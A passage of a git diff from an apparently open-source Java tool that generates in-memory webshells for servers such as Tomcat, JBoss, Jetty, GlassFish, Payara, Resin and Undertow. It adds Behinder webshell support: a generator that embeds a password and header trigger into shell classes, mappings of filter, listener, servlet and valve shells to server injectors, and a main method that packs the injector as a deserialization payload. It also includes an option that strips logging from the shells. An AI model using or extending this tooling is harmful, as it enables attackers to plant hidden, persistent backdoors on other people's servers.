ClinitRemovingClassVisitor extends ClassVisitor { + protected ClinitRemovingClassVisitor(ClassVisitor classVisitor) { + super(OpenedClassReader.ASM_API, classVisitor); + } + + @Override + public MethodVisitor visitMethod( + int modifiers, String name, String descriptor, String signature, String[] exception) { + MethodVisitor methodVisitor = + super.visitMethod(modifiers, name, descriptor, signature, exception); + return name.equals(CLINIT) + ? null + : methodVisitor; + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java similarity index 100% rename from generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java rename to common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java b/common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java new file mode 100644 index 00000000..c7c321d2 --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java @@ -0,0 +1,76 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +public class MethodSubstitutionExample { + + + public static class MethodReplacementMethodVisitor extends MethodVisitor { + private final String targetClassName; + + public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) { + super(Opcodes.ASM9, mv); + this.targetClassName = targetClassName; + } + + @Override + public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { + if (opcode == Opcodes.INVOKESTATIC + && owner.endsWith("ExternalClass") + && name.equals("replacementMethod")) { + super.visitMethodInsn(Opcodes.INVOKESTATIC, + targetClassName.replace(".", "/"), + name, + descriptor, + false); + } else { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + } + + public static class ExternalClass { + public static String externalMethod(String input) { + return "External: " + input; + } + + public static String replacementMethod(String input) { + return "Replaced: " + input; + } + } + + public static class TargetClass { + public String targetMethod(String input) { + System.out.println("targetMethod"); + return ExternalClass.replacementMethod(input); + } + + public static String replacementMethod(String input) { + return "Replaced: " + input; + } + } + + public static void main(String[] args) throws Exception { + String oldClassName = TargetClass.class.getName(); + String newClassName = oldClassName + "Redefinition"; + + DynamicType.Unloaded dynamicType = new ByteBuddy() + .redefine(TargetClass.class) + .name(newClassName) + .visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName))) + .make(); + + Files.write(Paths.get("xixi.class"), dynamicType.getBytes()); + Class redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader()) + .getLoaded(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java similarity index 100% rename from generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java rename to common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java b/common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java rename to common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java index 4903c357..0f550cd3 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java +++ b/common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.buddy; -import com.reajason.javaweb.config.Constants; import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.field.FieldDescription; import net.bytebuddy.description.field.FieldList; @@ -25,7 +24,7 @@ public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper { private final int targetJdkVersion; public TargetJreVersionVisitorWrapper() { - targetJdkVersion = Constants.DEFAULT_VERSION; + targetJdkVersion = Opcodes.V1_6; } public TargetJreVersionVisitorWrapper(int targetJdkVersion) { diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java b/common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java similarity index 90% rename from generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java rename to common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java index 50d70954..c1a6f534 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java +++ b/common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java @@ -1,5 +1,8 @@ package com.reajason.javaweb.util; +/** + * @author ReaJason + */ public class ClassDefiner extends ClassLoader { private ClassDefiner() { } diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/common/src/main/java/com/reajason/javaweb/util/ClassUtils.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java rename to common/src/main/java/com/reajason/javaweb/util/ClassUtils.java index f8a714b9..f7b89737 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java +++ b/common/src/main/java/com/reajason/javaweb/util/ClassUtils.java @@ -17,7 +17,6 @@ public class ClassUtils { } @SneakyThrows - @SuppressWarnings("deprecation") public static Object newInstance(byte[] bytes) { Class clazz = defineClass(bytes); return clazz.newInstance(); diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java b/common/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java similarity index 100% rename from generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java rename to common/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/common/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java similarity index 100% rename from generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java rename to common/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java diff --git a/generator/build.gradle b/generator/build.gradle index 38f9c6f8..ddac01dc 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -45,6 +45,7 @@ tasks.withType(JavaExec).configureEach { } dependencies { + implementation project(":common") implementation project(":deserialize") implementation project(":memshell") implementation 'net.bytebuddy:byte-buddy:1.+' @@ -52,7 +53,6 @@ dependencies { implementation 'javax.websocket:javax.websocket-api:1.1' implementation 'org.java-websocket:Java-WebSocket:1.5.7' implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' -// implementation fileTree('libs') implementation 'xalan:xalan:2.7.0' implementation 'org.apache.bcel:bcel:5.2' @@ -62,6 +62,7 @@ dependencies { implementation 'com.squareup.okhttp3:okhttp:4.+' implementation 'ch.qos.logback:logback-classic:1.+' + implementation 'com.alibaba.fastjson2:fastjson2:2.0.53' implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index e0eb439c..d82f3fdf 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,15 +1,18 @@ package com.reajason.javaweb; -import com.reajason.javaweb.config.*; import com.reajason.javaweb.memshell.AbstractShell; +import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.util.CommonUtil; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.nio.file.StandardOpenOption; /** * @author ReaJason @@ -19,8 +22,8 @@ public class GeneratorMain { public static void main(String[] args) throws IOException { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Tomcat) - .shellTool(ShellTool.Command) + .server(Server.JBossAS) + .shellTool(ShellTool.Behinder) .shellType(Constants.FILTER) .targetJreVersion(Opcodes.V1_6) .debug(true) @@ -30,14 +33,21 @@ public class GeneratorMain { .key("key") .headerName("User-Agent") .headerValue("test123").build(); - CommandConfig commandConfig = CommandConfig.builder().paramName("cmd").build(); + CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build(); + + BehinderConfig behinderConfig = BehinderConfig.builder() + .pass("test123") + .headerName("User-Agent") + .headerValue("test").build(); + InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig); + + GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig); if (generateResult != null) { // Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); // Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult)); + System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index 8666d9a7..2e65266c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memshell.config.*; import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; @@ -31,6 +31,7 @@ public abstract class AbstractShell { return switch (tool) { case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList(); case Command -> getCommandShellMap().keySet().stream().sorted().toList(); + case Behinder -> getBehinderShellMap().keySet().stream().sorted().toList(); default -> Collections.emptyList(); }; } @@ -82,28 +83,23 @@ public abstract class AbstractShell { .build(); } - /** - * 获取 Godzilla 注入生成类 Map - * - * @return shellType -> shellClass,injectorClass - */ protected Map, Class>> getGodzillaShellMap() { return Collections.emptyMap(); } - /** - * 获取 Command 注入生成类 Map - * - * @return shellType -> shellClass,injectorClass - */ protected Map, Class>> getCommandShellMap() { return Collections.emptyMap(); } + protected Map, Class>> getBehinderShellMap() { + return Collections.emptyMap(); + } + private Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { Map, Class>> shellMap = switch (shellTool) { case Godzilla -> getGodzillaShellMap(); case Command -> getCommandShellMap(); + case Behinder -> getBehinderShellMap(); default -> Collections.emptyMap(); }; return shellMap.get(shellType); @@ -113,6 +109,7 @@ public abstract class AbstractShell { return switch (shellConfig.getShellTool()) { case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); + case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/BehinderGenerator.java new file mode 100644 index 00000000..a8ddce05 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/BehinderGenerator.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.BehinderConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FieldAccessor; +import net.bytebuddy.implementation.SuperMethodCall; +import net.bytebuddy.matcher.ElementMatchers; +import org.apache.commons.codec.digest.DigestUtils; +import org.apache.commons.lang3.StringUtils; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderGenerator { + private final ShellConfig shellConfig; + private final BehinderConfig behinderConfig; + + public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) { + this.shellConfig = shellConfig; + this.behinderConfig = behinderConfig; + } + + public DynamicType.Builder getBuilder() { + if (behinderConfig.getShellClass() == null) { + throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); + } + if (StringUtils.isBlank(behinderConfig.getPass())) { + throw new IllegalArgumentException("behinderConfig.getPass().isBlank()"); + } + String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16); + + DynamicType.Builder builder = new ByteBuddy() + .redefine(behinderConfig.getShellClass()) + .name(behinderConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) + .constructor(ElementMatchers.any()) + .intercept(SuperMethodCall.INSTANCE + .andThen(FieldAccessor.ofField("pass").setsValue(md5Key)) + .andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName())) + .andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue()))); + + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); + try (DynamicType.Unloaded make = builder.make()) { + return make.getBytes(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java index 5b068458..1f6df2ad 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/CommandGenerator.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.config.CommandConfig; -import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index f8763f12..c0c564bb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -1,12 +1,15 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; import com.reajason.javaweb.memshell.glassfish.command.CommandListener; import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; @@ -52,4 +55,16 @@ public class GlassFishShell extends AbstractShell { JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class), + VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class), + JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class) + ); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java index 1fffdbb1..0f6ff239 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GodzillaGenerator.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.config.GodzillaConfig; -import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java index 43d8fdda..fd14887f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/InjectorGenerator.java @@ -4,9 +4,9 @@ import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.config.InjectorConfig; -import com.reajason.javaweb.config.ShellConfig; -import com.reajason.javaweb.util.CommonUtil; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java index 3c5be280..d2bd76df 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java @@ -1,11 +1,13 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener; import com.reajason.javaweb.memshell.jboss.command.CommandListener; import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import org.apache.commons.lang3.tuple.Pair; @@ -39,4 +41,12 @@ public class JbossShell extends AbstractShell { Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class) + ); + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index e691c205..2023e476 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -1,11 +1,14 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener; import com.reajason.javaweb.memshell.jetty.command.CommandListener; import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; @@ -15,7 +18,7 @@ import org.apache.commons.lang3.tuple.Pair; import java.util.List; import java.util.Map; -import static com.reajason.javaweb.config.Constants.*; +import static com.reajason.javaweb.memshell.config.Constants.*; /** * @author ReaJason @@ -51,4 +54,16 @@ public class JettyShell extends AbstractShell { JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class), + JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class), + FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class), + JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class), + LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class), + JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class) + ); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java index d5b9f911..ea3d4810 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/PayaraShell.java @@ -1,12 +1,15 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.payara.behinder.BehinderListener; import com.reajason.javaweb.memshell.payara.command.CommandListener; import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; @@ -52,4 +55,16 @@ public class PayaraShell extends AbstractShell { JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class), + VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class), + JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class) + ); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java index c1187232..15f496e3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java @@ -1,12 +1,15 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.resin.behinder.BehinderListener; import com.reajason.javaweb.memshell.resin.command.CommandListener; import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; @@ -49,4 +52,16 @@ public class ResinShell extends AbstractShell { Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class), + Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class), + Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class) + ); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index 7ffd1882..ae32d2f9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -1,12 +1,16 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -16,7 +20,7 @@ import org.apache.commons.lang3.tuple.Pair; import java.util.List; import java.util.Map; -import static com.reajason.javaweb.config.Constants.*; +import static com.reajason.javaweb.memshell.config.Constants.*; /** * @author ReaJason @@ -62,4 +66,18 @@ public class TomcatShell extends AbstractShell { JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class), + JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class), + FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class), + JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class), + LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), + JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class), + VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class), + JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class) + ); + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java index a03c56ee..6262b9ed 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java @@ -1,11 +1,14 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import 